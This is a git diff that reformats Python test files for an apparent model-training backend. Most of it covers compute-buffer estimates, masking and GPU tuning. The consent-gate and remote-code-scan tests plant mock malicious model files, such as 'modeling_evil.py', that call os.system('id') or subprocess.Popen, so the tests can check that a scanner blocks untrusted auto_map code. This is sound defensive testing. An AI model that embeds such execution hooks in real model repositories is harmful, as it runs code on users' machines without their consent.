-18,7 +18,10 @@ from __future__ import annotations import pytest -from utils.datasets.completion_masking import apply_completion_masking, lookup_manual_markers +from utils.datasets.completion_masking import ( + apply_completion_masking, + lookup_manual_markers, +) from utils.datasets.model_mappings import TEMPLATE_TO_RESPONSES_MAPPER @@ -153,7 +156,9 @@ def test_application_failure_propagates_not_fallback(): raise RuntimeError("dataset map worker crashed") with pytest.raises(RuntimeError, match = "dataset map worker crashed"): - apply_completion_masking(_Trainer(), "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_ok) + apply_completion_masking( + _Trainer(), "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_ok + ) def test_preset_tokenizer_markers_used_directly(): @@ -179,7 +184,11 @@ def test_table_miss_warns_and_disables_without_crashing(): notes = _Notes() result, applied = apply_completion_masking( - trainer, "some-org/not-in-any-mapper", train_fn, notify = notes, detect_fn = _detect_fail + trainer, + "some-org/not-in-any-mapper", + train_fn, + notify = notes, + detect_fn = _detect_fail, ) assert applied is False @@ -204,7 +213,9 @@ def test_num_proc_forwarded_only_when_given(): assert train_fn.calls[0]["num_proc"] == 4 train_fn = _Recorder() - apply_completion_masking(_Trainer(), "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok) + apply_completion_masking( + _Trainer(), "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok + ) assert train_fn.calls == [dict(_AUTO)] diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py index 3e95acc98d..aefc9f6a4a 100644 --- a/studio/backend/tests/test_compute_buffer.py +++ b/studio/backend/tests/test_compute_buffer.py @@ -87,7 +87,9 @@ class TestSafeUpperBound: @pytest.mark.parametrize("parallel,measured", sorted(_PIPELINE_MEASURED.items())) def test_pipeline_upper_bounds_measured(self, parallel, measured): est = _backend()._estimate_compute_buffer_bytes(n_parallel = parallel) / MIB - assert est >= measured, f"under-reserved at parallel={parallel}: {est:.0f} < {measured}" + assert ( + est >= measured + ), f"under-reserved at parallel={parallel}: {est:.0f} < {measured}" @pytest.mark.parametrize("parallel,measured", sorted(_PIPELINE_MEASURED.items())) def test_pipeline_not_wildly_over(self, parallel, measured): @@ -97,12 +99,22 @@ class TestSafeUpperBound: assert est <= max(measured * 2.0, 128) def test_tensor_upper_bounds_measured(self): - est = _backend()._estimate_compute_buffer_bytes(n_parallel = 1, per_device_tensor = True) / MIB + est = ( + _backend()._estimate_compute_buffer_bytes( + n_parallel = 1, per_device_tensor = True + ) + / MIB + ) assert est >= _TENSOR_MEASURED_PER_DEVICE def test_tensor_far_below_old_flat_reserve(self): # The whole point: deterministic estimate << flat 5120 for this model. - est = _backend()._estimate_compute_buffer_bytes(n_parallel = 1, per_device_tensor = True) / MIB + est = ( + _backend()._estimate_compute_buffer_bytes( + n_parallel = 1, per_device_tensor = True + ) + / MIB + ) assert est < LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB @@ -147,7 +159,9 @@ class TestFallback: # reserve (defense-in-depth) rather than reserving 0 and OOMing. b = _backend(vocab = None, embd = None) b._n_layers = None # can't estimate KV -> floors ctx, still returns a plan - ec, mac, gi, ts = b._plan_tensor_parallel([(0, 48000), (1, 48000)], 8 * 1024**3, 8192) + ec, mac, gi, ts = b._plan_tensor_parallel( + [(0, 48000), (1, 48000)], 8 * 1024**3, 8192 + ) assert gi == [0, 1] # both GPUs usable under the flat fallback @@ -189,8 +203,12 @@ class TestContextLinearBuffer: def test_scales_with_embd(self): # The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not. - small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") - big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + small = _backend(embd = 2048)._compute_buffer_ctx_bytes( + 131072, cache_type_kv = "q8_0" + ) + big = _backend(embd = 5120)._compute_buffer_ctx_bytes( + 131072, cache_type_kv = "q8_0" + ) assert big > small def test_scales_with_ubatch(self): @@ -270,8 +288,12 @@ class TestContextBufferMLA: multi-GPU MLA pin (per-device scaling multiplies the error).""" def test_mla_lighter_than_regular(self): - reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") - mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") + reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes( + 262144, cache_type_kv = "q8_0" + ) + mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes( + 262144, cache_type_kv = "q8_0" + ) assert mla < reg @pytest.mark.parametrize( @@ -307,7 +329,9 @@ class TestContextBufferDSV4: def test_covers_measured_1m_buffer(self): b = _backend(embd = 4096, arch = "deepseek4") gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB - assert gib >= self._MEASURED_1M_GIB, f"under-reserved {gib:.1f} < {self._MEASURED_1M_GIB}" + assert ( + gib >= self._MEASURED_1M_GIB + ), f"under-reserved {gib:.1f} < {self._MEASURED_1M_GIB}" def test_not_wildly_over_at_1m(self): # Within ~1.3x of measured so the fit still grants a large (~256k) context. @@ -341,9 +365,9 @@ class TestContextBufferDSV4: def test_scales_with_context_and_ubatch(self): b = _backend(embd = 4096, arch = "deepseek4") assert b._compute_buffer_ctx_bytes(131072) > b._compute_buffer_ctx_bytes(65536) - assert b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024) > b._compute_buffer_ctx_bytes( - 131072, n_ubatch = 256 - ) + assert b._compute_buffer_ctx_bytes( + 131072, n_ubatch = 1024 + ) > b._compute_buffer_ctx_bytes(131072, n_ubatch = 256) def test_non_dsv4_unchanged(self): # Regression guard: a non-deepseek4 model keeps the mask-only f16 rate. diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py index 804221ec7e..8677f33584 100644 --- a/studio/backend/tests/test_consent_gate.py +++ b/studio/backend/tests/test_consent_gate.py @@ -233,8 +233,12 @@ class TestConsentGate: def test_combined_targets_one_fingerprint_approves_adapter_and_base(self): # A LoRA adapter and base that both ship auto_map code are scanned as one unit and # pinned by a single fingerprint over the union, so one approval unblocks the load. - adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"} - base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"} + adapter_files = { + "tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n" + } + base_files = { + "modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n" + } def _files(name, hf_token = None): return adapter_files if name == "org/adapter" else base_files @@ -244,7 +248,9 @@ class TestConsentGate: patch.object(consent, "_config_has_auto_map", return_value = True), patch.object(consent, "repo_remote_code_files", side_effect = _files), ): - d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True) + d1 = evaluate_remote_code_consent_for_targets( + targets, trust_remote_code = True + ) d2 = evaluate_remote_code_consent_for_targets( targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint ) @@ -265,14 +271,20 @@ class TestConsentGate: # worker rejects the scan's approval as a mismatch). a, b = _with_auto_map(_HIGH) with a, b: - d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True) - d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True) + d1 = evaluate_remote_code_consent_for_targets( + ["Org/Model"], trust_remote_code = True + ) + d2 = evaluate_remote_code_consent_for_targets( + ["org/model"], trust_remote_code = True + ) assert d1.fingerprint == d2.fingerprint # An approval pinned from one casing unblocks the load under another casing. a, b = _with_auto_map(_HIGH) with a, b: d3 = evaluate_remote_code_consent_for_targets( - ["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint + ["ORG/model"], + trust_remote_code = True, + approved_fingerprint = d1.fingerprint, ) assert d3.blocked is False assert d3.reason == "approved by fingerprint" @@ -296,7 +308,9 @@ class TestConsentGate: with ( patch.object(consent, "_config_has_auto_map", return_value = True), - patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base), + patch.object( + consent, "repo_remote_code_files", side_effect = _raise_for_base + ), ): d = evaluate_remote_code_consent_for_targets( ["org/adapter", "org/base"], trust_remote_code = True @@ -317,12 +331,22 @@ class TestConsentGate: return "MEDIUM: large-base64-blob" def findings_payload(self): - return [{"severity": "MEDIUM", "file": "modeling.py", "check": "large-base64-blob"}] + return [ + { + "severity": "MEDIUM", + "file": "modeling.py", + "check": "large-base64-blob", + } + ] with ( patch.object(consent, "_config_has_auto_map", return_value = True), - patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}), - patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()), + patch.object( + consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"} + ), + patch.object( + consent, "scan_remote_code_files", return_value = _MediumResult() + ), ): d1 = evaluate_remote_code_consent( "third/medium", trust_remote_code = True, trusted_org = False @@ -471,7 +495,9 @@ class TestStructuredFindingsForDialog: payload = scan_remote_code_files(_HIGH).findings_payload() assert payload for f in payload: - assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f) + assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set( + f + ) def test_snippet_locates_line_and_highlights_match(self): from utils.security.remote_code_scan import scan_remote_code_files @@ -520,11 +546,15 @@ class TestStructuredFindingsForDialog: import utils.security as security monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False) - monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n) + monkeypatch.setattr( + models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n + ) monkeypatch.setattr( model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base ) - monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n)) + monkeypatch.setattr( + models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n) + ) monkeypatch.setattr( security, "preflight_remote_code_consent_for_targets", @@ -564,7 +594,9 @@ class TestStructuredFindingsForDialog: assert payload["scan_created_repos"] == [adapter] assert payload["created_by_scan"] is True - def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch): + def test_scan_route_primary_already_cached_clears_created_by_scan( + self, monkeypatch + ): """When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos.""" adapter, base = "someone/lora-adapter", "someone/base-model" payload = self._run_scan_route( @@ -573,7 +605,9 @@ class TestStructuredFindingsForDialog: assert payload["scan_created_repos"] == [base] assert payload["created_by_scan"] is False - def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch): + def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution( + self, monkeypatch + ): """A remote adapter is reported scan-created even though resolving its base first caches the adapter's own adapter_config.json. Otherwise the adapter (and the auto_map .py the preflight fetched) is left on disk on decline. The static-lambda @@ -594,9 +628,15 @@ class TestStructuredFindingsForDialog: return base monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False) - monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n) - monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base) - monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached) + monkeypatch.setattr( + models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n + ) + monkeypatch.setattr( + model_config, "get_base_model_from_lora_identifier", _get_base + ) + monkeypatch.setattr( + models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached + ) monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set()) monkeypatch.setattr( security, @@ -648,7 +688,9 @@ class TestStructuredFindingsForDialog: def _fake_hfapi(resolved_id, author = "unsloth"): api = MagicMock() - api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author) + api.return_value.model_info.return_value = SimpleNamespace( + id = resolved_id, author = author + ) return api @@ -660,7 +702,10 @@ class TestIsTrustedOrgRepo: assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True def test_accepts_genuine_nvidia_repo(self): - with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")): + with patch( + "huggingface_hub.HfApi", + _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia"), + ): assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True def test_local_path_spoofs_rejected(self): @@ -692,7 +737,9 @@ class TestIsTrustedOrgRepo: def test_rejects_when_resolved_owner_is_not_trusted(self): # Name says unsloth/ but the Hub resolves it elsewhere -> fail closed. - with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")): + with patch( + "huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse") + ): assert is_trusted_org_repo("unsloth/x") is False def test_fails_closed_when_hub_raises(self): @@ -719,7 +766,9 @@ class TestIsTrustedOrgRepo: api = MagicMock() api.return_value.model_info.side_effect = [ Exception("401 gated"), # no token -> fails closed - SimpleNamespace(id = "unsloth/Private", author = "unsloth"), # token -> resolves + SimpleNamespace( + id = "unsloth/Private", author = "unsloth" + ), # token -> resolves ] with patch("huggingface_hub.HfApi", api): assert is_trusted_org_repo("unsloth/Private") is False @@ -795,7 +844,9 @@ class TestRemoteCodeScan: assert should_block_remote_code(res) is False def test_only_python_is_scanned(self): - res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS}) + res = scan_remote_code_files( + {"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS} + ) assert res.clean def test_fingerprint_stable_and_sensitive(self): @@ -857,7 +908,9 @@ class TestScannerCoversAllExecutableCode: def test_local_scan_is_recursive(self, tmp_path): # A nested helper module (imported by modeling_*.py) must be scanned too. - (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}') + (tmp_path / "config.json").write_text( + '{"auto_map": {"AutoModel": "modeling_x.M"}}' + ) (tmp_path / "modeling_x.py").write_text("from .helpers import sub\n") nested = tmp_path / "helpers" nested.mkdir() @@ -883,7 +936,9 @@ class TestScannerCoversAllExecutableCode: return str(p) if fn in REMOTE_CODE_CONFIG_FILES: raise EntryNotFoundError(fn) # repo ships no tokenizer/processor config - raise RuntimeError("download failed") # the referenced .py cannot be fetched + raise RuntimeError( + "download failed" + ) # the referenced .py cannot be fetched with ( patch("huggingface_hub.hf_hub_download", side_effect = _dl), @@ -906,12 +961,16 @@ class TestScannerCoversAllExecutableCode: p = Path(tempfile.mkdtemp()) / fn if fn == "config.json": p.write_text( - json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + json.dumps( + {"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}} + ) ) elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py": p.write_text("import os\nos.system('id')\n") elif fn in REMOTE_CODE_CONFIG_FILES: - raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config + raise EntryNotFoundError( + fn + ) # victim repo ships no tokenizer/processor config else: raise RuntimeError(f"unexpected fetch {repo}:{fn}") return str(p) @@ -939,10 +998,14 @@ class TestScannerCoversAllExecutableCode: p = Path(tempfile.mkdtemp()) / fn if fn == "config.json": p.write_text( - json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + json.dumps( + {"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}} + ) ) elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py": - p.write_text("from .helper import run\n") # benign entry, imports helper + p.write_text( + "from .helper import run\n" + ) # benign entry, imports helper elif repo == "evilorg/evilrepo" and fn == "helper.py": p.write_text("import os\nos.system('id')\n") # the dangerous import elif fn in REMOTE_CODE_CONFIG_FILES: @@ -980,7 +1043,11 @@ class TestScannerCoversAllExecutableCode: if fn == "config.json": p.write_text(json.dumps({"model_type": "x"})) elif fn == "tokenizer_config.json": - p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}})) + p.write_text( + json.dumps( + {"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}} + ) + ) elif fn == "processing_paddleocr_vl.py": p.write_text("import torch\n") # the real, present file elif fn in REMOTE_CODE_CONFIG_FILES: @@ -993,7 +1060,11 @@ class TestScannerCoversAllExecutableCode: patch("huggingface_hub.hf_hub_download", side_effect = _dl), patch( "huggingface_hub.list_repo_files", - return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"], + return_value = [ + "config.json", + "tokenizer_config.json", + "processing_paddleocr_vl.py", + ], ), ): files = repo_remote_code_files("unsloth/PaddleOCR-VL") @@ -1024,9 +1095,14 @@ class TestScannerCoversAllExecutableCode: with ( patch("huggingface_hub.hf_hub_download", side_effect = _dl), - patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "modeling_x.py"], + ), ): - with pytest.raises(RemoteCodeUnscannable): # present-but-unfetchable -> fail closed + with pytest.raises( + RemoteCodeUnscannable + ): # present-but-unfetchable -> fail closed repo_remote_code_files("third/party") def test_external_tokenizer_auto_map_list_is_scanned(self): @@ -1060,7 +1136,9 @@ class TestScannerCoversAllExecutableCode: elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py": p.write_text("import os\nos.system('id')\n") elif fn in REMOTE_CODE_CONFIG_FILES: - raise EntryNotFoundError(fn) # victim repo ships no image/processor config + raise EntryNotFoundError( + fn + ) # victim repo ships no image/processor config else: raise RuntimeError(f"unexpected fetch {repo}:{fn}") return str(p) @@ -1071,7 +1149,9 @@ class TestScannerCoversAllExecutableCode: ): files = repo_remote_code_files("victim/model") assert "evilorg/evilrepo--tokenization_evil.py" in files - assert not scan_remote_code_files(files).clean # the external tokenizer code is flagged + assert not scan_remote_code_files( + files + ).clean # the external tokenizer code is flagged def test_unreachable_external_ref_is_unscannable(self): # If the external repo's code can't be fetched, fail closed rather than fingerprint a clean own-repo snapshot. @@ -1086,12 +1166,18 @@ class TestScannerCoversAllExecutableCode: if fn == "config.json": p = Path(tempfile.mkdtemp()) / "config.json" p.write_text( - json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + json.dumps( + {"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}} + ) ) return str(p) if fn in REMOTE_CODE_CONFIG_FILES: - raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config - raise RuntimeError("download failed") # the external repo's .py is unreachable + raise EntryNotFoundError( + fn + ) # victim repo ships no tokenizer/processor config + raise RuntimeError( + "download failed" + ) # the external repo's .py is unreachable with ( patch("huggingface_hub.hf_hub_download", side_effect = _dl), @@ -1104,11 +1190,19 @@ class TestScannerCoversAllExecutableCode: # Deliberate broad scan (not narrowed to the import closure): a .py the entry does # not statically import is still scanned, since the entry can reach it via # importlib / exec / absolute import. Closure-only scanning would be a bypass. - (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}') - (tmp_path / "modeling_ok.py").write_text("import torch\n") # benign entry, imports nothing - (tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n") # never imported + (tmp_path / "config.json").write_text( + '{"auto_map": {"AutoModel": "modeling_ok.M"}}' + ) + (tmp_path / "modeling_ok.py").write_text( + "import torch\n" + ) # benign entry, imports nothing + (tmp_path / "unrelated.py").write_text( + "import os\nos.system('id')\n" + ) # never imported files = repo_remote_code_files(str(tmp_path)) - assert "unrelated.py" in files # scanned despite not being referenced by auto_map + assert ( + "unrelated.py" in files + ) # scanned despite not being referenced by auto_map assert not scan_remote_code_files(files).clean # its os.system is flagged def test_external_mis_derived_dotted_ref_dropped_when_real_present(self): @@ -1127,7 +1221,13 @@ class TestScannerCoversAllExecutableCode: if fn == "config.json": p = Path(tempfile.mkdtemp()) / "config.json" p.write_text( - json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}}) + json.dumps( + { + "auto_map": { + "AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M" + } + } + ) ) return str(p) if fn in REMOTE_CODE_CONFIG_FILES: @@ -1150,7 +1250,9 @@ class TestScannerCoversAllExecutableCode: ): files = repo_remote_code_files("victim/model") assert "evilorg/evilrepo--pkg/modeling_evil.py" in files # real file scanned - assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files # mis-derived dropped + assert ( + "evilorg/evilrepo--pkg.modeling_evil.py" not in files + ) # mis-derived dropped assert not scan_remote_code_files(files).clean # os.system flagged def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path): @@ -1189,10 +1291,14 @@ class TestScannerCoversAllExecutableCode: p = Path(tempfile.mkdtemp()) / fn if fn == "config.json": p.write_text( - json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}}) + json.dumps( + {"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}} + ) ) return str(p) - raise EntryNotFoundError(fn) # no other config, and modeling_decilm.py is absent + raise EntryNotFoundError( + fn + ) # no other config, and modeling_decilm.py is absent with ( patch("huggingface_hub.hf_hub_download", side_effect = _dl), @@ -1253,7 +1359,9 @@ class TestScannerCoversAllExecutableCode: # A remote repo shipping none of the auto_map configs (every fetch 404s) returns # [] ("no config-based auto_map"), not None ("unknown"): [] -> no-op, while None # would force a scan and, for a code-less repo, a false unscannable block. - with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")): + with patch( + "huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404") + ): configs = consent._load_remote_code_configs("some/plain-repo") assert configs == [] # And a transient error on a config -> None (unknown -> caller scans). @@ -1274,7 +1382,9 @@ class TestScannerCoversAllExecutableCode: if filename == "config.json": p = tmp_path / "config.json" p.write_text( - json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}}) + json.dumps( + {"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}} + ) ) return str(p) raise EntryNotFoundError(filename) @@ -1362,7 +1472,9 @@ class TestScannerCoversAllExecutableCode: def test_direct_gguf_file_reference_has_no_auto_map(self): # A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call. - with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")): + with patch( + "huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call") + ): assert consent._config_has_auto_map("org/repo/model.gguf") is False def test_remote_repo_named_gguf_is_not_suffix_skipped(self): @@ -1387,7 +1499,12 @@ class TestScannerCoversAllExecutableCode: patch("huggingface_hub.hf_hub_download", side_effect = _dl), patch( "huggingface_hub.list_repo_files", - return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"], + return_value = [ + "config.json", + "model.safetensors", + "model.gguf", + "modeling_x.py", + ], ), ): # Ships safetensors -> not a GGUF-only repo -> the auto_map gates. @@ -1407,7 +1524,9 @@ class TestScannerCoversAllExecutableCode: if filename == "config.json": p = Path(tempfile.mkdtemp()) / "config.json" - p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}})) + p.write_text( + json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}}) + ) return str(p) raise EntryNotFoundError(filename) @@ -1455,7 +1574,9 @@ class TestScannerCoversAllExecutableCode: return_value = ["config.json", "modeling_x.py", weight, "model.gguf"], ), ): - assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight + assert ( + consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True + ), weight # POST /discard-remote-code: purge what the scan downloaded on decline, but never a @@ -1466,7 +1587,9 @@ class TestDiscardRemoteCodeDownload: @staticmethod def _fake_cache(filenames): files = [ - SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}") + SimpleNamespace( + file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}" + ) for fn in filenames ] rev = SimpleNamespace(commit_hash = "deadbeef", files = files) @@ -1488,10 +1611,14 @@ class TestDiscardRemoteCodeDownload: return_value = SimpleNamespace(is_loaded = False, model_identifier = None), ), ): - return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t")) + return asyncio.run( + M.discard_remote_code_download(model_name, current_subject = "t") + ) def test_purges_metadata_only_entry(self): - cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"]) + cache = self._fake_cache( + ["config.json", "tokenizer_config.json", "modeling_evil.py"] + ) res = self._run("evil/repo", [cache]) assert res["deleted"] is True cache.delete_revisions.assert_called_once_with("deadbeef") diff --git a/studio/backend/tests/test_context_overflow_truncation.py b/studio/backend/tests/test_context_overflow_truncation.py index 4f4c240934..ddcb88f801 100644 --- a/studio/backend/tests/test_context_overflow_truncation.py +++ b/studio/backend/tests/test_context_overflow_truncation.py @@ -53,7 +53,10 @@ def _tool_turn(i: int, result_chars: int = 400) -> list[dict]: { "id": f"call_{i}", "type": "function", - "function": {"name": "read", "arguments": f'{{"filePath":"/f{i}"}}'}, + "function": { + "name": "read", + "arguments": f'{{"filePath":"/f{i}"}}', + }, } ], }, @@ -109,7 +112,10 @@ def test_truncation_never_orphans_tool_results(): new, dropped = _truncate_middle_messages(msgs, keep_ratio = 0.4) assert dropped > 0 surviving_call_ids = { - tc["id"] for m in new if m.get("role") == "assistant" for tc in (m.get("tool_calls") or []) + tc["id"] + for m in new + if m.get("role") == "assistant" + for tc in (m.get("tool_calls") or []) } for m in new: if m.get("role") == "tool": @@ -266,8 +272,12 @@ class _FakeEmptyBackend: def test_v1_models_exposes_real_context_window(monkeypatch): - monkeypatch.setattr(routes_mod, "get_llama_cpp_backend", lambda: _FakeLlamaBackend()) - monkeypatch.setattr(routes_mod, "get_inference_backend", lambda: _FakeEmptyBackend()) + monkeypatch.setattr( + routes_mod, "get_llama_cpp_backend", lambda: _FakeLlamaBackend() + ) + monkeypatch.setattr( + routes_mod, "get_inference_backend", lambda: _FakeEmptyBackend() + ) models = _openai_model_objects() assert len(models) == 1 entry = models[0] diff --git a/studio/backend/tests/test_cpu_threads.py b/studio/backend/tests/test_cpu_threads.py index 9d8795b6c0..7e97cae807 100644 --- a/studio/backend/tests/test_cpu_threads.py +++ b/studio/backend/tests/test_cpu_threads.py @@ -63,7 +63,9 @@ def test_cpu_thread_cap_is_opt_in(raw): # Anything that is not a positive integer raises a clear ValueError. -@pytest.mark.parametrize("raw", ["zero", "0", "-3", "1.5", "abc", "8a", "0x4", "1e3", "4 0"]) +@pytest.mark.parametrize( + "raw", ["zero", "0", "-3", "1.5", "abc", "8a", "0x4", "1e3", "4 0"] +) def test_cpu_thread_cap_requires_positive_integer(raw): with pytest.raises(ValueError, match = "must be a positive integer"): configure_cpu_threads({"UNSLOTH_CPU_THREADS": raw}) diff --git a/studio/backend/tests/test_data_recipe_pump_resilience.py b/studio/backend/tests/test_data_recipe_pump_resilience.py index e702be7811..46dbb5aaf5 100644 --- a/studio/backend/tests/test_data_recipe_pump_resilience.py +++ b/studio/backend/tests/test_data_recipe_pump_resilience.py @@ -147,6 +147,8 @@ def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch): pump = threading.Thread(target = m._pump_loop, daemon = True) pump.start() pump.join(timeout = 5) - assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising" + assert ( + not pump.is_alive() + ), "pump must finalize a dead worker even when reads keep raising" assert m._job.status == "error" assert retired and retired[0] is m._job diff --git a/studio/backend/tests/test_datacenter_gpu_tuning.py b/studio/backend/tests/test_datacenter_gpu_tuning.py index fd9b291e8a..f1d2e41cc3 100644 --- a/studio/backend/tests/test_datacenter_gpu_tuning.py +++ b/studio/backend/tests/test_datacenter_gpu_tuning.py @@ -119,7 +119,9 @@ def test_is_datacenter_gpu_masked_host_physical_ids(monkeypatch): def test_is_datacenter_gpu_masked_host_reordered(monkeypatch): # Reordered mask preserves order: ordinal 0 -> physical 7, 1 -> 4, ... monkeypatch.setenv("CUDA_VISIBLE_DEVICES", "7,4,5,6") - monkeypatch.setitem(sys.modules, "torch", _fake_torch(["NVIDIA H100 80GB HBM3"] * 4)) + monkeypatch.setitem( + sys.modules, "torch", _fake_torch(["NVIDIA H100 80GB HBM3"] * 4) + ) assert LlamaCppBackend._is_datacenter_gpu([7, 4]) is True @@ -220,7 +222,9 @@ def test_apply_env_multi_dc_gpu_sets_all(monkeypatch): def test_apply_env_none_indices_uses_visible_count(monkeypatch): # None on a 2x DC box -> multi-GPU flags applied. monkeypatch.delenv("UNSLOTH_DISABLE_DC_TUNING", raising = False) - monkeypatch.setitem(sys.modules, "torch", _fake_torch(["NVIDIA H100", "NVIDIA H100"])) + monkeypatch.setitem( + sys.modules, "torch", _fake_torch(["NVIDIA H100", "NVIDIA H100"]) + ) env: dict = {} assert LlamaCppBackend._apply_datacenter_env(env, None) is True assert env["GGML_CUDA_P2P"] == "1" @@ -229,7 +233,9 @@ def test_apply_env_none_indices_uses_visible_count(monkeypatch): def test_apply_env_consumer_gpu_is_noop(monkeypatch): monkeypatch.delenv("UNSLOTH_DISABLE_DC_TUNING", raising = False) - monkeypatch.setitem(sys.modules, "torch", _fake_torch(["NVIDIA GeForce RTX 4090"] * 2)) + monkeypatch.setitem( + sys.modules, "torch", _fake_torch(["NVIDIA GeForce RTX 4090"] * 2) + ) env: dict = {} assert LlamaCppBackend._apply_datacenter_env(env, [0, 1]) is False assert env == {} diff --git a/studio/backend/tests/test_dataset_upload_limits.py b/studio/backend/tests/test_dataset_upload_limits.py index dc6030edbf..0991059318 100644 --- a/studio/backend/tests/test_dataset_upload_limits.py +++ b/studio/backend/tests/test_dataset_upload_limits.py @@ -40,7 +40,9 @@ def isolate_upload_dir(tmp_path, 